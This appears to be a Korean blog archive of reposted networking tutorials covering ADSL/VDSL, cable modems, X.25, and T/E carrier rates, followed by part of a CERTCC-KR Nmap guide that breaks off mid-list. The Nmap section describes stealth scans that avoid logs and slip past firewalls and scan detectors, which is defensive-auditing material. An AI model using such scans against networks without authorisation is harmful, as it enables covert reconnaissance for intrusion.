engineering/Network Eng.2006. 8. 10. 15:12
ADSL / VDSL / xDSL / 케이블 모뎀 형식
                                                                                      yjcompo (2003-04-07 10:58 작성)
1. ADSL 이란?

Asymmetric Digital Subscriber Line (비 대칭형 디지털 가입자 장치)의 약자로, 저주파(4KHz) 음성신호와 고주파(1MHz) 데이터 신호를 기존의 전화선에 같이 싣고, 스플리터라는 장치로 두 신호를 분리한 후 음성교환기와 데이터 교환기로 우회시켜 신호를 종단시키는 기술입니다. ADSL은 비대칭 방식이기 때문에 인터넷접속과 같은 곳에 적합하며, 하향전송속도의 범위는 1.5~8Mbps이며, 상향전송속도의 범위는 16~640Kbps로 규정되어 있습니다.

2. ADSL 기술 특성 및 장·단점

장점으로는 기존의 전화선을 그대로 이용하기 때문에 데이터회선 구성시 추가 케이블을 시공한다거나 새롭게 시설을 구축할 필요가 없다는 것, 단점으로는 모든 가입자에 대해 전송 속도를 보증할 수 없다는 것이며, ISDN 회선과 ADSL 회선이 같은 묶음에 놓여 있거나 인접한 묶음에 있으면 사용할 수 없다는 것 입니다.
=================================================================================================
=================================================================================================

1. VDSL은 무엇인가?

우선 VDSL은 Very high rate Digital Subscriber Lines 의 약자로써 xDSL 계열의 초고속 인터넷Broadband Access중 가장 속도가 빠른 것으로써 가입자당 1 Km에서 양방향 10Mbps 전송속도를 보장하며 최대 전송거리는 1.5Km 입니다.

2.VDSL의 종류?

우선 ADSL은 Asymmetric DSL이라는 용어에서 말하듯이 비대칭형이었읍니다. 그러나 VDSL의 경우에는 비대칭형(다운,업속도가 서로 상이한 서비스)과 대칭형(다운,업속도가 동일한 서비스) 두가지 종류가 있으며 그러나 현재 한국통신의 경우에는 대칭형서비스를 제공하고 있읍니다.

3.VDSL의 주파수 대역?

위의 그림을 참고하세요.

4.VDSL의 전송거리별 속도?

1) 비대칭형

- 300M이내: 다운(30M),업(6.4M)

- 300M ~ 1 Km: 다운(26M),업(3.2M)

- 1 Km ~ 1.5 Km: 다운(13M), 업(1.6M)

2) 대칭형 : 우선 이부분은 Vendor마다 약간씩 상이하지만 대다수의 Vendor를 기준으로 말씀드립니다.

- 300M이내: 다운(13M),업(13M)

- 300M ~ 1 Km: 다운(13M),업(13M)

- 1 Km ~ 1.5 Km: 다운(6.5M), 업(1.5M)

1.5Km이상은 서비스 불가. 그리고 현재 한국통신의 경우에는 대칭형서비스를 제공하고 있읍니다.

5. ISP에서 생각하는 VDSL설치가능지역?

위에서 언급하였듯이 VDSL은 ADSL에 비하여 전송거리의 제약조건이 훨씬 심한 편입니다. 그러기에 일반적인 단독주택보다는 대규모 아파트와 같은 주거 밀집환경에 적합하다고 간주되어 집니다.

6. VDSL의 전송매체는 무엇인가?

VDSL도 ADSL과 동일한 전화선을 이용합니다.

7. VDSL과 ADSL은 어떻게 다른 겁니까?

우선 VDSL의 경우 ADSL과 거의 유사합니다. 아직 프로토콜에 대한 규정도 부족한 실정이어서 상당수의 VDSL제조회사들이 ADSL Spec을 그대로 사용하고 있는 실정입니다. 실 예로 제가 참여했던 DSLAM개발 프로젝트에서 VDSL MIB을 제작하는데 있어 ADSL과 동일하게 사용한 적도 있읍니다. 물론 일부항목들은 제외... 즉 ADSL과 VDSL은 동일한 구조라고 보시면 됩니다.

8. 그래도 VDSL과 ADSL은 차이점이 하나도 없는 것입니까?

우선 기술적으로 말씀드리면 최근 한국통신에서는 VDSL용 DSLAM을 수주를 하는데 있어서 IP DSLAM을 원칙으로 수주를 하고 있읍니다. 즉 과거의 ADSL DSLAM에서는 백본으로 나가는 선로가 ATM기반으로 나간 후 다시 NAS라는 일종의 ATM Router를 거쳐 다시 IP망으로 나가던 부분이 이제는 바로 DSLAM에서 바로 IP망으로 나가게 된다라는 차이는 있으나 이는 가입자 측면과는 무관한 부분이며 가입자 측면과 밀접한 부분은 바로 가입자수용용량입니다. 기존의 ADSL의 경우에는 DSLAM한대당 1000명의 가입자를 수용할 수 있었다면 VDSL DSLAM에서는 그 절반수준정도의 가입자를 수용할 수 있다는 것이 차이점입니다.

9. VDSL의 단점은 무엇인가?

지난번에 제가 ADSL선로속도에 대한 강좌에서 말씀 드렸듯이 VDSL역시 ATM기반기술을 사용하기에 ATM헤더에 따른 트래픽의 낭비가 심하며 13M로 VDSL모뎀이 받는 다고 하여도 사용자가 사용할 수 있는 트래픽은 11.2M만 사용가능합니다. 그리고 네트워크 엔지니어들은 VDSL의 성공에 상당히 부정적입니다. 그 이유는 바로 엄청난 전송거리 제약때문이죠. 그러다 보니 서비스가능지역이 극히 제한적이며 아파트지역외에는 서비스가능지역이 없을 것이라는 생각이 많이 듭니다. 물론 한국통신이나 하나로통신에서 엄청난 광케이블과 분기국사를 설치한다면 모르지만... 그리고 결정적인 단점은 동선케이블 상에서 받을 수 있는 최대 대역폭이 현재로써는 30M가 한계라는 부분이 VDSL이후의 서비스는 없다고 보여지기 때문입니다.


=================================================================================================
=================================================================================================


xDSL(x Digital Subscriber Line : 각종 디지털 가입자선 ) 이란 무엇인가?

ADSL처럼 일반 공중전화망의 주파수 대역중에서 사용하지 않는 상위대역을 이용하여, 기존의 일반 전화 가입자의 전화 사용을 보장하면서 고속의 테이터 전송(초고속인터넷)을 제공하는 각종 새로운 전송기술을 통틀어 xDSL이라고 합니다.

전화선은 일반적으로 1MHz이하의 대역폭을, 케이블 TV 선로는 5MHz에서 850MHz까지의 대역폭을 이론적으로 보장한다하며, 여기서 전송가능 대역폭을 결정하는 것은 바로 코어 케이블(Core Cable:구리선)의 두께이다.
(두루넷에서 선전하는 850메가헤르쯔의 광대역이란 말은...별 새로운 내용이 아니네용...;...)

문제는 전송속도를 높일수록 최대 전송거리는 짧아지며, 선로의 품질이 좋아야 한다는 단점이 있지용.


xDSL 기술로는, DSL, ADSL, HDSL, SDSL, VDSL 등이 있다고 합니다.

1. DSL(Digital Subscriber Line)
별도의 케이블을 매설하지 않고, 160Kbps의 속도로 ISDN서비스를 제공하며, I-DSL(ISDN-DSL)이라고도 한다.


2. ASDL(Asymmetric Digital Subscriber Line; 비대칭 디지털 가입자선)
ADSL은 1988년 미국의 벨코어(BellCore) 전화회사사 주문형 비디오(VOD)의 상용화 서비스를 위해 개발했으나, 1995년 인터넷이 활성화되면서 전화모뎀의 느려 터진 전송속도 때문에 이를 해결하기 위해 한국통신에 채택되었으며, 별도의 통신 케이블 매설작업 없이 기존 일반 전화망 선로를 이용한다. (KT의 메가패스 서비스)


-----------------------|-------------------------전화기
-----------------------|
---ISP ---------------\(스풀리터; 분배기)
--(전화국)--3~5Km내--|
-----------------------|---@(ADSL모뎀)=========컴퓨터
---------------------------------------(UDP 케이블)

---------------------------------------------------------------
주파수 대역폭 용 도 전송속도(이론상)
---------------------------------------------------------------
0 ~ 4.3KHz 일반전화 가입자
30.3K ~ 133.1KHz ADSL 업로드 16K ~ 1Mbps
163.9K ~ 1MHz ADSL 다운로드 1.5M ~ 8Mbps
---------------------------------------------------------------

* Asymmetric(비대칭형) : 업로드와 다운로드의 속도가 다름, 일반적으로 다운로드 속도가 빠름
ADSL은 원래 VOD서비스를 위해 개발되었기 때문, VOD서비스는 가입자는 제어 정보만 보내고 대부분은 고용량 동영상 수신을 위해 사용되기 때문에 다운로드에 휠씬 많은 주파수 대역폭을 필요로 한다. 일반적으로 인터넷 사용시 데이터의 다운로드가 업로드보다는 휠씬 많기 때문이다.


2. HDSL(High-bit-rate Digital Subscriber Line; 고속 디지털 가입자선)
기존 전화선의 2-wired 방식이 아닌 4-wired 방식의 별도의 전화선을 사용하고, 160Kbps ~ 2.048Mbps의 대칭형 전송속도를 가지나 테이터 전용 회선이기 때문에 일반 전화를 사용할 수 없다. HDSL 모뎀을 FDSU(Fractional Digital Service Unit)라고도 한다.


3. SDSL(Symmetric Digital Subscriber Line; 대칭형 디지털 가입자선)
HDSL과 같이 업로드/다운로드 대칭형 전송속도를 같고, ADSL처럼 전화와 테이터 통신(초고속 인터넷)을 동시에 사용할 수 있는 서비스이다.

==================================================================================================
==================================================================================================


* CATV망 기반(HFC)의 케이블모뎀 서비스

현재 데이컴이 보유하고 있는 CATV 케이블 망(HFC, 혼합 광동축 케이블망)을 기반으로 케이블 모뎀 등 가입자 접속 기술을 이용하여 가입자에게 빠르고 안정적인 접속속도를 서비스하는 것을 말함.


ISP<==>라우터(Router)<==>중앙처리장치(CMTS)<==>케이블 모뎀<==>PC
--------======================================-----------------------
종합유선방송국(CATV, SO)

CATV 망에서 사용되는 주파수 영역 (5 MHz~750 Mhz)

다운로드 채널 : 550 Mhz ~ 750 Mhz
케이블 TV 방송용 채널 : 54 Mhz ~ 450 Mhz
업로드 채널 : 5 Mhz ~ 42 Mhz


ISP : Internet Service Provider (KT, Hanaro, Thrunet, OnSE...)
SO : System Operator (각 CATV 방송국)
CMTS : Cable Modem Termination System

CMTS : 기존의 케이블망 혹은 HFC망을 이용하여 초고속 인터넷을 가능하게 해주는 시스템입니다. 가입자단의 케이블 모뎀과 RF를 데이터 통신망에 연계시키는 기능과 케이블 모뎀 맥 어드레스를 DHCP Server IP Range에 연결시키는 기능등 모뎀에 대한 제어와 관리를 하는 장치를 말합니다.

CMTS IOS : 보통 IOS라함은 시스코 라우터에 내장된 인터네트워크 소프트웨어를 칭합니다. 이 소프트웨어는 각종 프로토콜을 제어하고, 보안, 경로최적화, 네트웍 관리등을 담당합니다.

분배센터 : Distribution Center
SO로부터 송출된 신호를 간선(동축 및 광케이블)을 통하여 해당 서비스 지역에 전송하기 위한 설비 및 전송망의 운영상태를 제어하는 곳입니다.

HFC : 혼합 광동축 케이블망 (Hybrid Fiber Coaxial Cable)
광케이블(Fiber)과 동축케이블(Coaxial Cable)을 혼합한 망으로 양방향 특성이 뛰어나며,HFC망은 방송국에서 원거리까지는 광케이블을 이용해서 데이터를 전송하고, 광단국에서 가입자까지는 동축케이블을 사용합니다.

Router : 네트워크 사이의 트래픽을 포워드하는 장치로, OSI모델의 하위 3계층까지 처리한다 서로 다른 언어를 사용하는 네트워크망이나 서로 다른 프로토콜(Protocol)을 사용하는 네트워크망간의 링크를 제공하며, 사용자가 접속하려는 호스트에 도착하기 위한 최적의 경로(사용자의 데이터가 가장 빠르게 목적지에 도달할 수 있는 경로)를 설정, 데이터 통신을 하도록 한다. 여러 개의 네트워크를 연결할 때 한 네트워크에서 다른 네트워크로 통신할 수 있도록 도와주는 하드웨어 또는 소프트웨어 장치 (소프트웨어적으로도 라우팅 기능이 가능)이며, 네트워크간의 주소를 변환하거나 프로토콜을 맞게 변환하는 기능도 갖고 있습니다.

ONU : Optical Network Unit
SO로 부터 전송되는 광신호를 RF신호로 변환하는 기기를 말하며, 보통 SO - ONU 사이는 광케이블로, ONU와 CM(케이블 모뎀)은 동축케이블로 연결되어 있습니다.

TBA : 간선분기 증폭기
광케이블을 통해 고품질의 RF신호를 제공하고 다른 전송망에 전달한다. 신호 손실과 분기손실을 보상하기 위해 ONU하단에 장착된다.

TAP-OFF : 분기기
ONU를 통해 전송된 신호를 사용자에게 일정하게 8-Way 형태로 분기해주는 장비. CATV나 초고속 인터넷 전용으로 사용되는 기자재로 전신주 옆에 창작된다.

감쇄기 : ATT
지정한 소자의 감쇄율 만큼 신호를 감쇄시키는 소자로서 보통 Tap-off 하단에 옥내용으로 쓰인다. (예) 8db 감쇄기, 10db 감쇄기)

HPF : High Pass Filter
높은 주파수의 신호만 통과시키는 고대역통과 필터

Cable Modem : 케이블 모뎀은 케이블망을 이용하여 케이블 방송에서 사용하지 않는 대역을 이용해 통신을 함.T3급 전용선과 거의 맞먹는속도를 제공함

Hub : 허브
여러 개의 디바이스를 연결하거나 혹은 네트워크를 통해 다른 컴퓨터와 자원을 공유하고자 할 때 사용하는 전송 장비 가까운 거리의 컴퓨터를 UTP케이블을 이용해 서로 연결시켜줌. 최근에는 스위치나 라우터 기능을 탑재하고 있다.

Network Interface Card : (NIC 카드) 랜 카드, 보통 컴퓨터 안에 설치됨. PC나 워크 스테이션의 확장 슬롯에 삽입해서 컴퓨터 단말기를 LAN에 접속할 수 있도록 하는 카드

Spilter : 다중분배기 (Distributror)
In 하나에 Out 이 다중인 장치.
Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 15:04

쌍용정보통신 통신사업본부
"쌍용 LAN / WAN 입문 강좌"

 

제2부 원거리 통신망 입문(WAN)

제6장 광역 통신망의 기본, X.25

1. X.25란 ?

X.25이란 일반적으로 LAN과 LAN상에서 쓰이는 것으로 다시 말하면, WAN상에서 널리 쓰이고 있는 프로토콜이다.
LAN상에서는 일반적으로 TCP/P를 비롯하여 IPX, AppleTalk등의 많은 프로토콜이 있지만, WAN상에서는 일반적인 X.25와 요사이 각광을 받고 있는 FrameRelay 등이 있다.

원거리통신망 즉 WAN상에서는 패킷교환망과 회선교환망으로 구분되며, X.25는 호스트시스템 혹은 LAN과 패킷표환망 간의 인터페이스를 제공한다. 여기서 X.25 프로토콜에 대한 이야기에 앞서 WAN상에서의 전송방식과 교환방식에 대한 이해를 하고자 한다. 그것은 또한 X.25의 가장 중요한 부분이기도 하다.

1.1 전송방식과 교환방식

일반적으로 물리적인 전송 선로를 통하여 정보를 전송할 수 있는 유선 통신은 전용 회선을 이용하는 방식과 교환 회선을 이용하는 방식으로 나눌 수 있다.

전용 회선을 이용하는 방식은 송신측과 수신측 사이에 전용 선을 연결하여 데이터를 전송하는 방식을 의미하며, 교환회선을 이용하는 방식은 우리가 흔히 알 수 있는 공중망(전화망)이라고 생각하면 이해가 빠르다.
이 두 방식의 차이는 전용회선의 경우는 송신측과 수신측 간의 데이터 전송이 아주 빈번한 경우에 많이 사용되며, 공중망의 경우 여러 사람들이 공통적으로 사용할 경우에 사용된다. 여기서 주의할 것은 전용회선의 경우 경제적 비용이 큰 반면에 데이터의 전송속도가 빠르지만, 상대적으로 교환회선의 경우는 다소 저렴한 비용에 상대적으로 데이터의 전송속도가 느리다.

교환회선 방식에서는 사용자의 통신장비는 망 내의 교환기와 전용선으로 연결되며, 통신 망 내에는 교환기들이 회선으로 연결되어 있다. 이때 교환기들을 연결하는 회선은 망 내에 있는 모든 교환기들이 일대일로 전부 연결되지 않고 <그림1-1>와 같이 몇 개의 교환기들 사이에만 연결이 이루어져서, 송신측과 수신측과 통신을 할 때에는 이러한 교환기들을 통해서 데이터들의 전송이 이루어진다.


<그림1-1 교환방식(패켓교환)의 예>

이러한 교환방식에는 회선교환방식과 패켓교환방식이 있으며, X.25는 패켓교환방식에 쓰이는 프로토콜인 것이다.

회선교환방식은 송신측과 수신측을 연결하는데 고정적인 회선을 통하는 방식으로 일종의 물리적인 전용선을 쓰는 것과 같은 방식이다. 쉽게 생각하면 전화가 대표적인 회선교환방식이다. 즉 통화가 이루어지면, 그 회선은 다른 사람이 쓸 수 없다는 것이다. 이와 달리 패켓교환방식은 모든 데이터가 패켓 단위로 전송되기 때문에, 송신측과 수신측 사이에 고정적으로 할당되는 물리적인 연결은 없으며, 각 교환기들은 물리적인 전송 매체 상에 일정한 길이를 갖는 패킷을 전송하는 방식으로 데이터를 전송한다. <그림1-2>는 회선교환방식과 패켓교환방식을 보여주고 있다.


<그림1-2 회선교환방식과 패켓교환방식>

회선교환방식과 패켓교환방식의 특징적인 부분을 나타내면, 다음 <표1-1>과 같다.

  교환기술
특성구분
회선교환패켓교환
대역폭 사용 형식고정된 대역폭 전송대역폭 동적 사용
대화식 사용면대화식 사용이 가능할
정도로 빠름
대화식 사용이 가능할
정도로 빠름
메시지 저장 유무저장 안됨패켓은 배달될 때까지
저장 가능
전송 경로의 형태전체전송을 위해
전송로 설립
패켓마다 전송로 설립
호출된 지국이
바쁠 때
busy 신호를 냄패켓이 전달되지 않으면
송신자에게 통지됨
교환노드 종류전자 기계식 또는
컴퓨터화된 교환노드
소규모 교환노드
속도와 코드
변환 여부
보통 없음속도와 코드 변환 있음
오버헤드 비트호출 설정 후에는 오버헤드
비트 없음
각 패켓마다 오버헤드
비트 있음

<표1-1 회선교환방식과 패켓교환방식의 비교>

1.2 패켓교환방식

앞서 X.25에 대해 언급하면서, 패킷교환방식에 대해서 언급을 하였다. 그러면 이러한 패킷교환방식에 대해서 구체적으로 언급을 하겠다. 패킷교환방식이란 ITU-T 권고의 표준통신규약에 따라 데이터를 일정크기의 패켓 단위로 분할 한 후 기억장치에 축적하고, 수신처에 따라 적당한 경로를 선택 전송하는 국제표준의 교환방식을 일컫는 것이다.

1.2.1 패켓이란 ?

여기서 패킷이란, 정보를 일정크기로 분할하고 각각에 송수신주소를 부가하여 만든 데이터 블록을 의미하며, 패켓 간 상호간섭을 최소화하면서 망을 경유하여 이동할 수 있다.

원래 패켓교환방식의 등장배경은, 군사용 음성통신회선의 도청방지를 위해 창안된 것으로 데이터를 여러 조각, 즉 패켓으로 나누어 서로 다른 경로를 통해 전송하고 최종 목적지에서는 패켓을 재조립하여 데이터를 복원하는 방식으로 도청을 불가능 하게 하는 데에서 유래되었다.


<그림1-3 패켓교환방식의 유래>

1.2.2 패켓교환방식의 원리

송신측에서 송신된 패켓은 패켓교환망 내의 각 경유교환기에서 약 msec가 소요되는 저장 및 전송(Store & Forward)이라는 기본원리에 따라 최종목적지까지 전송된다.
이때 각 교환기들은 다음 경유 교환기 또는 최종 목적지 교환기가 패켓을 정확히 수신할 때까지 기억장치에 일시 저장되고 수신이 확인된 패켓은 폐기되며, 해당 기억공간은 다른 패켓의 일시저장에 이용된다.
따라서 패켓교환망은 여러 분할된 패켓을 동시에 처리하도록 함으로써 이용율을 향상시키며, 회선교환망의 독점사용으로 인한 잠시댁등의 비효율을 현저히 낮추게 되었다.

<그림1-4>는 이러한 패켓교환방식의 원리를 보여주고 있다.


<그림1-4 패켓교환방식의 원리>

1.2.3 가상회선 방식

패켓을 수신한 각 교환기는 그 패켓을 다음 어디로 보낼지 결정하는 경로선택 기능을 수행한다. 호출설정 후, 양측의 단말기는 회선교환망의 경우처럼 물리적인 경로를 단독으로 사용할 수는 없지만, 논리적인 통신경로를 호출 해제시까지 유지하는 데 이 논리적인 통신경로를 가상회선(Virtual Circuit)이라 한다.

<그림1-5>는 이러한 가상회선을 이용한 데이터의 전송을 보여주고 있다. 그림에서와 같이 똑같은 송신자와 수신자이더라도 전송경로는 여러 가지가 될 수 있으며, 이러한 전송경로로 설정되어진 경로를 가상경로라고 한다. 이 말의 의미는 여러 가지 경로 중에 그것이 가상적으로 결정되었다는 의미이다.

가상회선에는 다음의 두 가지 방식이 있다.

  • 교환가상회선(SVC : Switched Virtual Circuit) : 통신을 행할 때마다 통신경로를 설정/ 해제
  • 고정가상회선(PVC : Permanent Virtual Circuit) : 미리 지정된 상대방과 통신경로가 고정적으로 성립되어 있는 방식


<그림1-5 가상회선방식 원리>

 

2. X.25의 구성

X.25프로토콜은 DCE와 DTE간의 상호 접속에 대해서만 규정하며, DCE간의 네트워크 내부접속에 대한 사항은 규정하지 않는다. 즉, X.25는 DCE와 DTE간의 통신절차를 규정한 계층화된 프로토콜이다. 다음의 <그림1-6>는 X.25의 인터페이스가 통신망에서 어느 부분을 규정하고 있는 가를 보여주고 있다.


<그림1-6 X.25의 개념>

그러면 구체적으로 이러한 X.25의 구조와 구성에 대해서 알아보자. X.25는 3계층의 프로토콜로 구성되며, 그것은 각각 물리계층, 링크계층, 패킷 계층이다. 각각의 계층의 개략적인 기능은 다음과 같다.

  • 물리계층 : 단말기나 패켓교환기나 전송 장비 간의 물리적 접속에 관한 것으로, X.21을 사용하며, X.21은 DTE와 데이터 망에 적합하도록 만들어진 DCE간의 인터페이스를 정의하고 있다.
  • 프레임계층 : 단말기와 패켓교환기 간의 원할한 데이터 전송을 위한 데이터 링크의 제어기능 수행하며, HDLC프로토콜의 ABM모드를 사용하며, 일반적으로 LAPB라고 알려져 있다.
  • 패켓계층 : OSI모델의 네트워크 계층에 해당되며, DTE와 DCE간의 가상회선(Virtual Circuit)제공을 제공하고, 트랜스포트 계층 데이터의 안정된 전송을 지원한다.

다음의 <그림1-7>는 X.25에서의 계층구조를 보여주며, <그림1-8>는 X.25의 계층구조와 X.25인터페이스간의 관계를 보여준다.


<그림1-7 X.25의 프로토콜계층 구조>


<그림1-8 X.25에서의 DTE와 DCE의 구성>

그렇다면, 이러한 계층간의 관계는 어떠한가 살펴보자 물리계층은 OSI 7 Layer의 물리계층과 같은 개념으로 생각하면 되며, 여기서는 프레임계층과 패켓계층의 관계에 대해서 언급하겠다.

프레임 계층의 모든 정보 프레임은 자신의 정보영역에 패켓을 포함하고 있으며, 패켓들은 데이터 링크상에서 논리채널에 의해 다중화 된다. 또한 프레임 계층의 프로토콜이 에러의 검출 및 회복기능을 수행하므로 데이터 링크를 통해 전송되는 패켓은 에러 없이 단말기간에 전달된다. 다음의 <그림1-9>는 프레임 계층과 패켓계층 간의 관계를 보여주고 있다.


<그림1-9 X.25의 계층간의 구조 및 관계>

사용자 데이터가 X.25의 3계층으로 내려가면 그 데이터에 제어정보를 담은 헤더를 부착하여 패켓을 만든다. 이 제어정보를 담음 패켓은 LAP_B 엔티티로 내려가서 패킷의 앞, 뒤로 제어정보가 덧붙여져 LAP_B 프레임이 된다. 이 프레임의 정보는 LAP_B 프로토콜의 동작에 사용된다.

 

3. X.25를 이용한 패켓교환망의 특징

3.1 장점

첫째, 가장 먼저 들 수 있는 것은, 우수한 호환성이다. 국제표준으로 자리잡은 지 오래고 역사 또한 오래기 때문에 현재 거의 모든 프로토콜을 지원하고 이식성이 강하다.

① 국제 표준 X.25프로토콜 채택
② 비표준 프로토콜인 SNA / SDLC 도 수용
③ 프로토콜 변환기능과 자동속도 변환기능

둘째, X.25는 3계층을 지원하므로(요즘 각광 받고 있는 FrameRelay는 2계층) 에러체크 기능이 강력하다. 따라서 고신뢰성을 보장받을 수 있다.

셋째, 패켓교환방식은 패켓단위로 그 때의 상황에 맞는 통신경로를 찾아 전송함으로써 장애가 발생 하더라도 정상적인 통신경로를 선택하여 우회전송이 가능하다.

넷째, 디지털 전송을 기본으로 하므로 전송품질이 우수하고, 패켓전송시 전송에러 검사를 통해 에러 발생시 재전송 수행한다.

다섯째, 고효율방식이다.

① 하나의 물리적 회선에 다수의 논리채널 할당 (1 : N)
② 서로 다른 지역의 데이터를 하나의 고속 회선으로 수용가능
③ 경제적인 네트워크 구성가능

3.2 단점

패켓을 일단 기억장치에 축적하고, 수신처에 따라 적당한 경로를 선택해 전송하는 축적교환방식이므로, 전송을 위해 다소의 처리지연 발생할 수 있다.
이러한 연유로 요사이 FrameRelay가 각광을 받고 있는 것 같다.

앞서 잠깐 언급하였지만, FrameRelay는 2계층 프로토콜로서 에러체크기능이 상대적으로 적기 때문에 전송속도가 빠르다고 할 수 있다.
단 여기서는 회선의 안정성이 선결 조건이라 할 수 있다. FrameRelay에 대해서는 다음 Part에서 구체적으로 언급하므로, 여기서는 배제하겠다.

 

4. X.25와 Frame-Relay와의 비교

Frame-Relay에 대한 이해는 다음 장에서 이루어 질 것이다. 여기서는 이러한 Frame-Relay와 X.25와의 비교를 통해서 X.25의 특징을 조금 더 이해하고자 한다.

여기서 가장 먼저 기본적으로 개념을 잡고 있어야 할 것은 Frame-Relay는 기본적으로 2계층구조를 가지고 있다는 것이다. 이것은 회선의 신뢰성을 바탕으로 에러 처리 등의 기능을 빼고 고속으로 전송할 수 있는 방식으로, X.25가 3계층 전송방식으로 전송한다는 점에서 크게 다른 점이라 할 수 있다.

항 목X.25Frame-Relay
전송단위패 켓프 레 임
가입자 속도2.4Kbps - 56Kbps9.9Kbps - E1
에러처리Node to NodeEnd to End
OSI 층1,2,3 계층1,2 계층

<표1-2 X.25와 Frame-Relay와의 비교>

 

쌍용정보통신 통신부문 97년도 입사자 일동


(C) 1997-8 Ssangyong Information&Communications Corp.
Network Online [
netonline.sicc.co.kr ]

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 15:02
* DS = Digital Stream, Digital Signal
Signal---------Rate---------Structure-----Number of DS0s
DS0-----------64 kbps-------Time slot---------1
DS1--------1.544 Mbps-------24 x DS0---------24
DS1c-----------3 Mbps--------2 x DS1---------48
DS2------------6 Mbps--------2 x DS1c--------96
DS3-------44.736 Mbps--------7 x DS2--------672


* T spec
T1 = 1.544 Mbps (DS0 x 24)
T2 = 6.312 Mbps (T1 x 4)
T3 = 44.736 Mbps (T2 x 7)
T4 = 274.176 Mbps (T3 x 6)


* E spec
E1 = 2.048 Mbps (DS0 x 32)
E2 = 8.448 Mbps (E1 x 4)
E3 = 34.368 Mbps (E2 x 4)
E4 = 139.264 Mbps (E3 x 4)
E5 = 565.148Mbps (E4 x 4)
Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:59

Nmap 네트워크 점검 도구 및 보안 스캐너

CERTCC-KR

1. 개요

Nmap(Network Mapper)은 네트워크 보안을 위한 유틸리티로, 대규모 네트워크를 고속으로 스캔하는 도구이다. Nmap은 raw IP 패킷을 사용하여 네트워크에 어느 호스트가 살아있고, 그들이 어떠한 서비스(포트)를 제공하며, 운영체제(OS 버전)가 무엇이며, filter/firewall의 패킷 타입이 무엇인지 등 네트워크의 수많은 특징들을 점검할 수 있다.

Nmap의 주요 특징을 살펴보면 다음과 같다.

Flexible

IP 필터, 방화벽, 라우터 등으로 구성되어 있는 네트워크를 점검하기 위한 도구로, 포트 스캐닝 메카니즘(TCP & UDP), OS 검색, pings sweeps 등을 점검할 수 있다.

Powerful

Nmap은 수천 수백 개의 호스트를 가진 거대한 네트워크를 고속으로 스캔할 수 있다.

Portable

Linux, Open/Free/Net BSD, Solaris, IRIX, Mac OS X, HP-UX, Sun OS 등 대부분의 운영체제에서 사용할 수 있다.

Easy

Nmap은 사용자들에게 강력하면서도 다양한 set을 제공함에도 불구 하고 "nmap -O -sS targethost"와 같이 아주 간단하게 사용할 수 있다. 또한 command line 및 graphical (GUI) 버전 모두를 지원한 다.

Free

Nmap의 주요 목적은 좀더 안전한 인터넷을 만드는데 도움을 주고 자 하는 것과 administrators/auditors에게 그들의 네트워크를 점검 하기 위한 보다 강력한 도구를 제공하기 위한 것이다. Nmap은 http://www.insecure.org/nmap에서 무료로 다운받을 수 있으며, GNU General Public License(GPL)하에 모든 사람이 자유롭게 사용할 수 있다.

Popular

현재 네트워크 스캔 툴 중에서 가장 많이 이용되고 있는 툴이다.

Nmap에서 사용되는 대부분의 기술은 호스트의 어떤 포트가 listening 되고 있는지를 스캔하기 위해 사용된다. 이 포트들은 통신 가능한 채널로 이들 포트들에 대한 매핑은 호스트에 대한 정보 교환을 용이하게 한다. 따라서 nmap은 시스템 관리자는 물론이고 해커를 포함한 네트워크 환경을 점검하기를 원하는 모든 사람에게 매우 유용한 도구로 사용된다.

Top

Nmap은 방대한 네트워크를 점검하기 위한 강력한 포트 스캐너로 다음과 같은 것을 지원한다.

o Vanilla TCP connect() scanning,
o TCP SYN (half open) scanning,
o TCP FIN (stealth) scanning,
o TCP ftp proxy (bounce attack) scanning,
o SYN/FIN scanning using IP fragments (bypasses packet filters),
o UDP recvfrom() scanning,
o UDP raw ICMP port unreachable scanning,
o ICMP scanning (ping-sweep), and Reverse-ident scanning.

Top

2. 설치 및 운영

가. nmap 설치

nmap은 http://www.insecure.org/nmap에서 구할 수 있다. nmap의 설치 방법은 매우 간단하다. 많은 critical 커널 인터페이스들이 루트 권한을 요구하듯이 nmap 또한 가능하면 루트권한으로 운영되어야 한다.

▶ linux에 설치하기

"*.tgz" 형식과 "*.rpm" 모두를 다운로드 할 수 있다. 여기에서는 Linux 2.2.5-22에 설치하였다.

① rpm 파일로 받기

# rpm -vhU http://www.insecure.org/nmap/dist/nmap-2.53-1.i386.rpm

설치가 정상적으로 끝났다면 /usr/bin에 nmap 실행파일이 복사될 것이다.

Top

② tgz 파일로 받기

최신버전으로 다운로드 받은 후 압축을 푼다. 여기에서는 nmap-2.53 버전으로 설치했다.

# gzip -cd nmap-2.53.tgz | tar xvf -

archive를 풀면 nmap-2.53이라는 디렉토리가 생성되는데 이 디렉토리로 이동한다.

# cd nmap-2.53

INSTALL 파일을 읽어보면 설치요령이 설명되어 있는데 다음과 같이 하면 특별한 에러 없이 설치가 된다.

# ./configure
# make
# make install

Top

▶Sun OS에 설치하기

최신버젼을 다운받아 다음과 같이 하면 에러 없어 설치된다.

# gzip -cd nmap-2.53.tgz | tar xvf -
# cd nmap-2.53
# ./configure
# make
# make install

나. nmap 실행

nmap의 사용방법은 다음과 같다. scan type 및 option에 대해서는 nmap의 man page에 자세히 나와있다.

USAGE : ./nmap [Scan Type(s)] [Options] <host or net [#1] ... [#N]>

Top

Scan Type

-sT

TCP connect() scan : TCP scanning의 가장 기초적인 형태로 connect() 함수를 사용해서 모든 포트에 대해 스캔하는 방식이다. 만약 포트가 listening 상태라면 connect()는 성공할 것이고, 그렇지 않으면 reachable 되지 않는다.

-sS

TCP SYN scan : full TCP 접속을 하지 않으므로 "half-open" 스캐닝이라 한다. 하나의 SYN 패킷을 보내어 SYN|ACK 응답이 오면 그 포트는 listening 상태임을 나타내며, RST 응답이 오면 non-listener임을 나타낸다. 이 기술은 하나의 패킷을 보내어 SYN|ACK 응답을 받으면 그 즉시 RST 패킷을 보내서 접속을 끊어버린다. 이렇게 하면 접속이 이루어지지 않은 상태에서 접속을 끊었기 때문에 로그를 남기지 않는 경우가 대부분이다. custom SYN packet을 만들기 위해서는 루트 권한이 필요하다.

-sF
-sX
-sN

Stealth FIN, Xmas Tree, Null scan : 이들은 SYN 패킷을 막아놓은 방화벽이나 패킷 필터 또는 Synlogger와 Courtney 같은 스캔을 탐지하는 프로그램들을 무사히 통과할 수 있다. open 포트로 FIN 패킷을 보내면 이 패킷을 무시하고, closed 포트로 보내면 RST 패킷이 온다. 이들 스캔은 주로 유닉스계열 OS에서만 사용 가능하며, 루트권한이 필요하다.

-sP

